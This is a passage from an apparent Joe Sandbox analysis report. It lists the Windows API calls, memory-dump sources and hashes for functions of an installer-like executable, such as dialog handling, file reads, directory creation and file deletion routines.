                                                                                                                                                                • Associated: 00000000.00000002.1487956009.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1487972311.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1487972311.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1487972311.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1487972311.00000000004B3000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1488090750.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_file.jbxd
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: AttributesFile
                                                                                                                                                                • String ID:
                                                                                                                                                                • API String ID: 3188754299-0
                                                                                                                                                                • Opcode ID: 404706a0ec70c465fc6e77d3f379a59e81a865ab84cdc077efcd7274a0164b66
                                                                                                                                                                • Instruction ID: a99f375bd2b1051765f890e1d94d2f722c1bb1ba0a12d38356d8610c0186b9c0
                                                                                                                                                                • Opcode Fuzzy Hash: 404706a0ec70c465fc6e77d3f379a59e81a865ab84cdc077efcd7274a0164b66
                                                                                                                                                                • Instruction Fuzzy Hash: 84C01272404800EAC6000B34DF0881A7B62AB90330B268B39B0BAE00F0CB3488A99A18
                                                                                                                                                                Function 00403336 Relevance: 1.5, APIs: 1, Instructions: 22fileCOMMON
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                APIs
                                                                                                                                                                • ReadFile.KERNELBASE(00000000,00000000,00000000,00000000,000000FF,?,004033CE,000000FF,00000004,00000000,00000000,00000000), ref: 0040334D
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 00000000.00000002.1487940053.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                • Associated: 00000000.00000002.1487923024.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1487956009.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1487972311.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1487972311.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1487972311.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1487972311.00000000004B3000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1488090750.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_file.jbxd
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: FileRead
                                                                                                                                                                • String ID:
                                                                                                                                                                • API String ID: 2738559852-0
                                                                                                                                                                • Opcode ID: 1a43d381f500bc8dc9f00bbbc079669c25ab728c1eaf5fecfa5fd6a2526f4c39
                                                                                                                                                                • Instruction ID: a3bc5d39330dd194e4c7332763fdc94ca13499671d705f1c19c6925397c50364
                                                                                                                                                                • Opcode Fuzzy Hash: 1a43d381f500bc8dc9f00bbbc079669c25ab728c1eaf5fecfa5fd6a2526f4c39
                                                                                                                                                                • Instruction Fuzzy Hash: C8E08C32550118BFCB109EA69C40EE73B5CFB047A2F00C832BD55E5290DA30DA00EBE8
                                                                                                                                                                Function 004037CC Relevance: 1.5, APIs: 1, Instructions: 20COMMON
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                APIs
                                                                                                                                                                  • Part of subcall function 00406038: CharNextW.USER32(?,*?|<>/":,00000000,004D70C8,004C30A0,004D70C8,00000000,004037D8,004D70C8,-00000002,00403A0B), ref: 0040609B
                                                                                                                                                                  • Part of subcall function 00406038: CharNextW.USER32(?,?,?,00000000), ref: 004060AA
                                                                                                                                                                  • Part of subcall function 00406038: CharNextW.USER32(?,004D70C8,004C30A0,004D70C8,00000000,004037D8,004D70C8,-00000002,00403A0B), ref: 004060AF
                                                                                                                                                                  • Part of subcall function 00406038: CharPrevW.USER32(?,?,004C30A0,004D70C8,00000000,004037D8,004D70C8,-00000002,00403A0B), ref: 004060C3
                                                                                                                                                                • CreateDirectoryW.KERNELBASE(004D70C8,00000000,004D70C8,004D70C8,004D70C8,-00000002,00403A0B), ref: 004037ED
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 00000000.00000002.1487940053.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                • Associated: 00000000.00000002.1487923024.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1487956009.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1487972311.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1487972311.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1487972311.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1487972311.00000000004B3000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1488090750.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_file.jbxd
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: Char$Next$CreateDirectoryPrev
                                                                                                                                                                • String ID:
                                                                                                                                                                • API String ID: 4115351271-0
                                                                                                                                                                • Opcode ID: df63d9f6fb0dfe925f434423aee030f478bab57ed52ac2db2f8962d9fd449c2e
                                                                                                                                                                • Instruction ID: 8ea1286759415c6f695425ed34242866ebe8a7a529327a4e56f2759b30593fc1
                                                                                                                                                                • Opcode Fuzzy Hash: df63d9f6fb0dfe925f434423aee030f478bab57ed52ac2db2f8962d9fd449c2e
                                                                                                                                                                • Instruction Fuzzy Hash: B1D0A921083C3221C562332A3D06FCF090C8F2635AB02C07BF841B61CA8B2C4B8240EE
                                                                                                                                                                Function 00403DAF Relevance: 1.5, APIs: 1, Instructions: 9windowCOMMON
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                APIs
                                                                                                                                                                • SendMessageW.USER32(?,?,00000000,00000000), ref: 00403DC1
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 00000000.00000002.1487940053.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                • Associated: 00000000.00000002.1487923024.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1487956009.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1487972311.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1487972311.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1487972311.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1487972311.00000000004B3000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1488090750.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_file.jbxd
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: MessageSend
                                                                                                                                                                • String ID:
                                                                                                                                                                • API String ID: 3850602802-0
                                                                                                                                                                • Opcode ID: 203c4a4104ade6b46efc04414fb016ca35add41c2a64233918ece76cb1940256
                                                                                                                                                                • Instruction ID: 301fa2329b67e93c742f3c195cb428e9759bf169fd062939fd541a9b7e119014
                                                                                                                                                                • Opcode Fuzzy Hash: 203c4a4104ade6b46efc04414fb016ca35add41c2a64233918ece76cb1940256
                                                                                                                                                                • Instruction Fuzzy Hash: D3C04C71650601AADA108B509D45F1677595B50B41F544439B641F50E0D674E450DA1E
                                                                                                                                                                Function 00403368 Relevance: 1.5, APIs: 1, Instructions: 6COMMON
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                APIs
                                                                                                                                                                • SetFilePointer.KERNELBASE(00000000,00000000,00000000,0040375A,?,?,?,?,00000000,00403A47,?), ref: 00403376
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 00000000.00000002.1487940053.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                • Associated: 00000000.00000002.1487923024.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1487956009.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1487972311.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1487972311.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1487972311.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1487972311.00000000004B3000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1488090750.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_file.jbxd
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: FilePointer
                                                                                                                                                                • String ID:
                                                                                                                                                                • API String ID: 973152223-0
                                                                                                                                                                • Opcode ID: ff5c9719b5bb24227ed98436e19d1f66b73f6b097333bfca9e4e1763c30da83c
                                                                                                                                                                • Instruction ID: da19c3e449f5d10d282cbd9bcc1d8f2f369397d5e390659c1e8fea63e82898b0
                                                                                                                                                                • Opcode Fuzzy Hash: ff5c9719b5bb24227ed98436e19d1f66b73f6b097333bfca9e4e1763c30da83c
                                                                                                                                                                • Instruction Fuzzy Hash: 0CB09231140204AEDA214B109E05F067A21FB94700F208824B2A0380F086711420EA0C
                                                                                                                                                                Function 00403D98 Relevance: 1.5, APIs: 1, Instructions: 6windowCOMMON
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                APIs
                                                                                                                                                                • SendMessageW.USER32(00000028,?,00000001,004057B4), ref: 00403DA6
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 00000000.00000002.1487940053.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                • Associated: 00000000.00000002.1487923024.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1487956009.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1487972311.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1487972311.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1487972311.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1487972311.00000000004B3000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1488090750.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_file.jbxd
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: MessageSend
                                                                                                                                                                • String ID:
                                                                                                                                                                • API String ID: 3850602802-0
                                                                                                                                                                • Opcode ID: 8ef0c84af5b69eb6e5c04aecb335cbd5d798096170d60dc049d97623b8df0028
                                                                                                                                                                • Instruction ID: f61ffac979fbda5733e9df3da2bdae5977773398d3d4f9e0d67d11d125479468
                                                                                                                                                                • Opcode Fuzzy Hash: 8ef0c84af5b69eb6e5c04aecb335cbd5d798096170d60dc049d97623b8df0028
                                                                                                                                                                • Instruction Fuzzy Hash: EFB09235181A00AADE614B00DF0AF457A62A764701F008079B245640B0CAB200E0DB08
                                                                                                                                                                Function 00403D85 Relevance: 1.5, APIs: 1, Instructions: 4COMMON
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                APIs
                                                                                                                                                                • KiUserCallbackDispatcher.NTDLL(?,0040574D), ref: 00403D8F
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 00000000.00000002.1487940053.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                • Associated: 00000000.00000002.1487923024.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1487956009.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1487972311.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1487972311.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1487972311.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1487972311.00000000004B3000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1488090750.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_file.jbxd
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: CallbackDispatcherUser
                                                                                                                                                                • String ID:
                                                                                                                                                                • API String ID: 2492992576-0
                                                                                                                                                                • Opcode ID: 7b5b3f07ec4b69a7f183f6b544b36b38adf2938630adbd4e30d083ffe7510c70
                                                                                                                                                                • Instruction ID: d14db2bc66c636a64d409f7b36464c270e9f3e97be8c2f7aaa1954d4611ec3db
                                                                                                                                                                • Opcode Fuzzy Hash: 7b5b3f07ec4b69a7f183f6b544b36b38adf2938630adbd4e30d083ffe7510c70
                                                                                                                                                                • Instruction Fuzzy Hash: 8DA01275005500DBCF014B40EF048067A61B7503007108478F1810003086310420EB08

                                                                                                                                                                Non-executed Functions

                                                                                                                                                                Function 0040497C Relevance: 65.2, APIs: 33, Strings: 4, Instructions: 470windowmemoryCOMMON
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                APIs
                                                                                                                                                                • GetDlgItem.USER32(?,000003F9), ref: 00404993
                                                                                                                                                                • GetDlgItem.USER32(?,00000408), ref: 004049A0
                                                                                                                                                                • GlobalAlloc.KERNEL32(00000040,?), ref: 004049EF
                                                                                                                                                                • LoadBitmapW.USER32(0000006E), ref: 00404A02
                                                                                                                                                                • SetWindowLongW.USER32(?,000000FC,Function_000048CC), ref: 00404A1C
                                                                                                                                                                • ImageList_Create.COMCTL32(00000010,00000010,00000021,00000006,00000000), ref: 00404A2E
                                                                                                                                                                • ImageList_AddMasked.COMCTL32(00000000,?,00FF00FF), ref: 00404A42
                                                                                                                                                                • SendMessageW.USER32(?,00001109,00000002), ref: 00404A58
                                                                                                                                                                • SendMessageW.USER32(?,0000111C,00000000,00000000), ref: 00404A64
                                                                                                                                                                • SendMessageW.USER32(?,0000111B,00000010,00000000), ref: 00404A74
                                                                                                                                                                • DeleteObject.GDI32(?), ref: 00404A79
                                                                                                                                                                • SendMessageW.USER32(?,00000143,00000000,00000000), ref: 00404AA4
                                                                                                                                                                • SendMessageW.USER32(?,00000151,00000000,00000000), ref: 00404AB0
                                                                                                                                                                • SendMessageW.USER32(?,00001132,00000000,?), ref: 00404B51
                                                                                                                                                                • SendMessageW.USER32(?,0000110A,00000003,00000110), ref: 00404B74
                                                                                                                                                                • SendMessageW.USER32(?,00001132,00000000,?), ref: 00404B85
                                                                                                                                                                • GetWindowLongW.USER32(?,000000F0), ref: 00404BAF
                                                                                                                                                                • SetWindowLongW.USER32(?,000000F0,00000000), ref: 00404BBE
                                                                                                                                                                • ShowWindow.USER32(?,00000005), ref: 00404BCF
                                                                                                                                                                • SendMessageW.USER32(?,00000419,00000000,?), ref: 00404CCD
                                                                                                                                                                • SendMessageW.USER32(?,00000147,00000000,00000000), ref: 00404D28
                                                                                                                                                                • SendMessageW.USER32(?,00000150,00000000,00000000), ref: 00404D3D
                                                                                                                                                                • SendMessageW.USER32(?,00000420,00000000,00000020), ref: 00404D61
                                                                                                                                                                • SendMessageW.USER32(?,00000200,00000000,00000000), ref: 00404D87
                                                                                                                                                                • ImageList_Destroy.COMCTL32(?), ref: 00404D9C
                                                                                                                                                                • GlobalFree.KERNEL32(?), ref: 00404DAC
                                                                                                                                                                • SendMessageW.USER32(?,0000014E,00000000,00000000), ref: 00404E1C
                                                                                                                                                                • SendMessageW.USER32(?,00001102,?,?), ref: 00404ECA
                                                                                                                                                                • SendMessageW.USER32(?,0000113F,00000000,00000008), ref: 00404ED9
                                                                                                                                                                • InvalidateRect.USER32(?,00000000,00000001), ref: 00404EF9
                                                                                                                                                                • ShowWindow.USER32(?,00000000), ref: 00404F49
                                                                                                                                                                • GetDlgItem.USER32(?,000003FE), ref: 00404F54
                                                                                                                                                                • ShowWindow.USER32(00000000), ref: 00404F5B
                                                                                                                                                                Strings
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 00000000.00000002.1487940053.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                • Associated: 00000000.00000002.1487923024.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1487956009.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1487972311.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1487972311.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1487972311.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1487972311.00000000004B3000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1488090750.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_file.jbxd
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: MessageSend$Window$ImageItemList_LongShow$Global$AllocBitmapCreateDeleteDestroyFreeInvalidateLoadMaskedObjectRect
                                                                                                                                                                • String ID: $ @$M$N
                                                                                                                                                                • API String ID: 1638840714-3479655940
                                                                                                                                                                • Opcode ID: 222e44079ed98782fbb34ec8da515d99173e785f6e02dcb26c66960398e67004
                                                                                                                                                                • Instruction ID: e2b6c32447eba08f07ab18e4c0942225b167af9b9c7e550a0b0592367213937f
                                                                                                                                                                • Opcode Fuzzy Hash: 222e44079ed98782fbb34ec8da515d99173e785f6e02dcb26c66960398e67004
                                                                                                                                                                • Instruction Fuzzy Hash: 09026CB0900209AFEF209FA4CD45AAE7BB5FB84314F10413AF615B62E1D7B89D91DF58
                                                                                                                                                                Function 004044A5 Relevance: 33.6, APIs: 15, Strings: 4, Instructions: 300stringkeyboardCOMMON
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                APIs
                                                                                                                                                                • GetDlgItem.USER32(?,000003F0), ref: 004044F9
                                                                                                                                                                • IsDlgButtonChecked.USER32(?,000003F0), ref: 00404507
                                                                                                                                                                • GetDlgItem.USER32(?,000003FB), ref: 00404527
                                                                                                                                                                • GetAsyncKeyState.USER32(00000010), ref: 0040452E
                                                                                                                                                                • GetDlgItem.USER32(?,000003F0), ref: 00404543
                                                                                                                                                                • ShowWindow.USER32(00000000,00000008,?,00000008,000000E0), ref: 00404554
                                                                                                                                                                • SetWindowTextW.USER32(?,?), ref: 00404583
                                                                                                                                                                • SHBrowseForFolderW.SHELL32(?), ref: 0040463D
                                                                                                                                                                • lstrcmpiW.KERNEL32(00462540,00447240,00000000,?,?), ref: 0040467A
                                                                                                                                                                • lstrcatW.KERNEL32(?,00462540), ref: 00404686
                                                                                                                                                                • SetDlgItemTextW.USER32(?,000003FB,?), ref: 00404696
                                                                                                                                                                • CoTaskMemFree.OLE32(00000000), ref: 00404648
                                                                                                                                                                  • Part of subcall function 00405C84: GetDlgItemTextW.USER32(00000001,00000001,00002004,00403F81), ref: 00405C97
                                                                                                                                                                  • Part of subcall function 00406038: CharNextW.USER32(?,*?|<>/":,00000000,004D70C8,004C30A0,004D70C8,00000000,004037D8,004D70C8,-00000002,00403A0B), ref: 0040609B
                                                                                                                                                                  • Part of subcall function 00406038: CharNextW.USER32(?,?,?,00000000), ref: 004060AA
                                                                                                                                                                  • Part of subcall function 00406038: CharNextW.USER32(?,004D70C8,004C30A0,004D70C8,00000000,004037D8,004D70C8,-00000002,00403A0B), ref: 004060AF
                                                                                                                                                                  • Part of subcall function 00406038: CharPrevW.USER32(?,?,004C30A0,004D70C8,00000000,004037D8,004D70C8,-00000002,00403A0B), ref: 004060C3
                                                                                                                                                                  • Part of subcall function 00403E74: lstrcatW.KERNEL32(00000000,00000000,0046A560,004C70A8,install.log,00405A9C,004C70A8,004C70A8,004D30C0,00447240,80000001,Control Panel\Desktop\ResourceLocale,00000000,00447240,00000000,00000006), ref: 00403E8F
                                                                                                                                                                • GetDiskFreeSpaceW.KERNEL32(00443238,?,?,0000040F,?,00443238,00443238,?,00000000,00443238,?,?,000003FB,?), ref: 00404759
                                                                                                                                                                • MulDiv.KERNEL32(?,0000040F,00000400), ref: 00404774
                                                                                                                                                                  • Part of subcall function 00406805: GetVersion.KERNEL32(0043B228,?,00000000,00404FA9,0043B228,00000000,?,00000000,00000000), ref: 004068D6
                                                                                                                                                                • SetDlgItemTextW.USER32(00000000,00000400,00409264), ref: 004047ED
                                                                                                                                                                Strings
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 00000000.00000002.1487940053.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                • Associated: 00000000.00000002.1487923024.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1487956009.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1487972311.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1487972311.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1487972311.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1487972311.00000000004B3000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1488090750.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_file.jbxd
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: Item$CharText$Next$FreeWindowlstrcat$AsyncBrowseButtonCheckedDiskFolderPrevShowSpaceStateTaskVersionlstrcmpi
                                                                                                                                                                • String ID: 82D$@%F$@rD$A
                                                                                                                                                                • API String ID: 3347642858-1086125096
                                                                                                                                                                • Opcode ID: 41223eded68e0cc8c9bf9fa9bd2dae48608aba550ad56c91da83586f0d18507e
                                                                                                                                                                • Instruction ID: 5c5d6a603380bcdbc7d7d35b60f5621b43697e5e98684918e033f9398a36e476
                                                                                                                                                                • Opcode Fuzzy Hash: 41223eded68e0cc8c9bf9fa9bd2dae48608aba550ad56c91da83586f0d18507e
                                                                                                                                                                • Instruction Fuzzy Hash: D1B1A4B1900209BBDB11AFA1CD85AAF7AB8EF45314F10847BF605B72D1D77C8A41CB59
                                                                                                                                                                Function 00406ED2 Relevance: 30.0, APIs: 14, Strings: 3, Instructions: 270filestringCOMMON
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                APIs
                                                                                                                                                                • CreateFileW.KERNEL32(?,80000000,00000001,00000000,00000003,00000080,00000000), ref: 00406EF6
                                                                                                                                                                • ReadFile.KERNEL32(00000000,?,0000000C,?,00000000), ref: 00406F30
                                                                                                                                                                • ReadFile.KERNEL32(?,?,00000010,?,00000000), ref: 00406FA9
                                                                                                                                                                • lstrcpynA.KERNEL32(?,?,00000005), ref: 00406FB5
                                                                                                                                                                • lstrcmpA.KERNEL32(name,?), ref: 00406FC7
                                                                                                                                                                • CloseHandle.KERNEL32(?), ref: 004071E6
                                                                                                                                                                  • Part of subcall function 004062A3: lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406E79,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062B0
                                                                                                                                                                  • Part of subcall function 004062A3: wvsprintfW.USER32(00000000,?,?), ref: 004062C7
                                                                                                                                                                Strings
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 00000000.00000002.1487940053.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                • Associated: 00000000.00000002.1487923024.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1487956009.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1487972311.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1487972311.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1487972311.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1487972311.00000000004B3000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1488090750.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_file.jbxd
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: File$Read$CloseCreateHandlelstrcmplstrcpynlstrlenwvsprintf
                                                                                                                                                                • String ID: %s: failed opening file "%s"$GetTTFNameString$name
                                                                                                                                                                • API String ID: 1916479912-1189179171
                                                                                                                                                                • Opcode ID: c1ee4f9d51a5711eefddbfc324bacbf89cb8dd321db642bada23a62a27e44b0a
                                                                                                                                                                • Instruction ID: 34713ba181b26839f7619e948cf229fd8716e5ee99c03f3e8673f79b0d3e70cf
                                                                                                                                                                • Opcode Fuzzy Hash: c1ee4f9d51a5711eefddbfc324bacbf89cb8dd321db642bada23a62a27e44b0a
                                                                                                                                                                • Instruction Fuzzy Hash: 9091BF70D1412DAACF04EBA5DD909FEBBBAEF48301F00416AF592F72D0E6785A05DB64
                                                                                                                                                                Function 00406C9B Relevance: 29.9, APIs: 9, Strings: 8, Instructions: 190filestringCOMMON
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                APIs
                                                                                                                                                                • DeleteFileW.KERNEL32(?,?,004C30A0), ref: 00406CB8
                                                                                                                                                                • lstrcatW.KERNEL32(0045C918,\*.*,0045C918,?,-00000002,004D70C8,?,004C30A0), ref: 00406D09
                                                                                                                                                                • lstrcatW.KERNEL32(?,00408838,?,0045C918,?,-00000002,004D70C8,?,004C30A0), ref: 00406D29
                                                                                                                                                                • lstrlenW.KERNEL32(?), ref: 00406D2C
                                                                                                                                                                • FindFirstFileW.KERNEL32(0045C918,?), ref: 00406D40
                                                                                                                                                                • FindNextFileW.KERNEL32(?,00000010,000000F2,?), ref: 00406E22
                                                                                                                                                                • FindClose.KERNEL32(?), ref: 00406E33
                                                                                                                                                                Strings
                                                                                                                                                                • Delete: DeleteFile("%s"), xrefs: 00406DBC
                                                                                                                                                                • RMDir: RemoveDirectory failed("%s"), xrefs: 00406EB0
                                                                                                                                                                • Delete: DeleteFile on Reboot("%s"), xrefs: 00406DE0
                                                                                                                                                                • \*.*, xrefs: 00406D03
                                                                                                                                                                • RMDir: RemoveDirectory on Reboot("%s"), xrefs: 00406E93
                                                                                                                                                                • Delete: DeleteFile failed("%s"), xrefs: 00406DFD
                                                                                                                                                                • RMDir: RemoveDirectory("%s"), xrefs: 00406E6F
                                                                                                                                                                • RMDir: RemoveDirectory invalid input("%s"), xrefs: 00406E58
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 00000000.00000002.1487940053.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                • Associated: 00000000.00000002.1487923024.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                • Associated: 00000000.00000002.1487956009.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
